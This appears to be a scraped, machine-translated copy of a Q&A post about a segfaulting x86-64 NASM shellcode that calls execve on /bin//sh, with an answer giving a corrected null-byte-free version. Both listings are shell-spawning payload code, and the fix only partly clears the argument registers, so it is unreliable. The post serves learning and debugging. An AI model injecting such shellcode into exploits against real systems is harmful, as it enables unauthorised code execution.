简体   繁体   English

我的shellcode怎么了?

[英]What's wrong with my shellcode?

Sorry about this must have been asked and explained thousand times but I don't get it why this code gives me a segmentation fault. 抱歉,已经问过一千遍了,但是我不明白为什么这段代码给了我分段错误。 Compiled with nasm for elf 64 and liked with ld. 与nasm一起为elf 64编译,并与ld一起使用。

BITS 64          ;
xor  rax, rax    ;
mov  rax, 0x3b   ; LinuxX64 exevce
push 0x68732f2f  ;
push 0x6e690b2f  ;
pop rbx          ; Argv[0] /bin//sh
xor rcx, rcx     ;
push rcx         ;
push rbx         ; 
pop rcx          ; Argv[1] /bin//sh0
xor rsi, rsi     ; just need any GP register 
push rsi         ;
pop rdx          ; Argv[2] 0
syscall          ;

Many things were wrong actually, first in 64bits, arguments are passed as rdi, rsi, rdx ,rcx, if more we have to use the stack. 实际上有很多事情是错误的,首先是64位,参数以rdi,rsi,rdx和rcx的形式传递,如果更多,我们必须使用堆栈。

BITS 64                       ;
xor  rax, rax                 ;
mov  al, 0x3b                 ; EXECVE -> al other wise we get null bytes
xor  rcx, rcx                 ; 
push rcx                      ; PUSH A NULL BYTE
mov  rdi, 0x68732f2f6e69622f  ; /*  
push rdi                      ;     use the stack to fill rdi '"/bin//sh"0'
mov  rdi, rsp                 ; */
xor sil, sil                  ; Argv[2] -> sil otherwise we ge null bytes
syscall                       ;

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM